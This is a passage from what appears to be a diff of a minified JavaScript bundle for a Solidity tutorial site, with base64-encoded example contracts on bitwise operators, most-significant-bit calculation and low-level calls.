Solidity",iA=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],gA=`
                  // SPDX-License-Identifier: MIT
+
                  `,ty=({prev:s,next:a})=>r.jsx(u,{version:ny,title:ly,description:py,html:cy,prev:s,next:a,codes:ey}),oy="0.8.24",ry="Bitwise Operators",iy="Learn about bitwise operators in Solidity",gy=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],hy=`
                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 contract BitwiseOps {
@@ -3629,7 +3629,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,hA=({prev:s,next:a})=>r.jsx(u,{version:tA,title:oA,description:rA,html:gA,prev:s,next:a,codes:iA}),dA="0.8.24",IA="Call",CA="In Solidity call is a low level function to interact with other contracts",jA=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2